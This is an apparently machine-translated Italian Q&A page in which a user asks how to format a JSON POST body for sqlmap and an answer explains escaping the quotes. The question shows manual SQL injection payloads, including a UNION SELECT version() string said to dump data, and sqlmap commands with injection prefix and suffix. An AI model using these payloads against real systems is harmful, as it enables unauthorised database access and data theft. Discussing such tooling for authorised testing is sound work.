Formato del carico utile JSON dei dati dei post personalizzati in sqlmap?

Question

Formato del carico utile JSON dei dati dei post personalizzati in sqlmap?

#1 da (0 voti)

1

Voglio eseguire l'iniezione SQL ma non so come usare il comando. Finora, ho provato questo:

--data="{'user_id':'6','user_with:5*'}" --prefix=" OR user_to = 5)" --suffix="#" -vvv'

Uso ' anziché " nel parametro perché i dati del post di sqlmap devono essere in formato --data="paramter goes here" .

Ma l'ultimo spettacolo verboso:

{'user_id':'6','\'user_with:5 OR user_to = 5) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#''}

Dovrebbe essere:

{'user_id':'6','user_with:5 OR user_to = 5) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#'}

Ecco il mio modo manuale:

{"user_id":"6","user_with":"5"} -> return normal
{"user_id":"6","user_with":"5'"} -> return 'You have an error...'
{"user_id":"6","user_with":"5 OR user_to = 5) union select version(),2,3,4,5,6#"} -> return dump data

Quindi, come eseguire ciò che voglio in sqlmap?

sql-injection sqlmap

posta Dark Cyber 05.03.2018 - 12:32

fonte

1 risposta

Leggi altre domande sui tag sql-injection sqlmap

Sicurezza dei codici QR SQRC 2ip.io/privacy/ e 'Defining tunnel (two way ping)' sul proxy SOCKS5

score 0 · Answer 1

sqlmap rileva automaticamente il payload json e tenta di iniettare così invece del payload sopra menzionato come: -

--data="{'user_id':'6','user_with:5*'}" --prefix=" OR user_to = 5)" --suffix="#" -vvv'

usa il seguente carico utile: -

--data="{\"user_id\":\"6\",\"user_with:5\"}" --prefix=" OR user_to = 5)" --suffix="#" -vvv'

non è necessario utilizzare ' invece di " per utilizzare il parametro json con sqlmap, è sufficiente l'escape.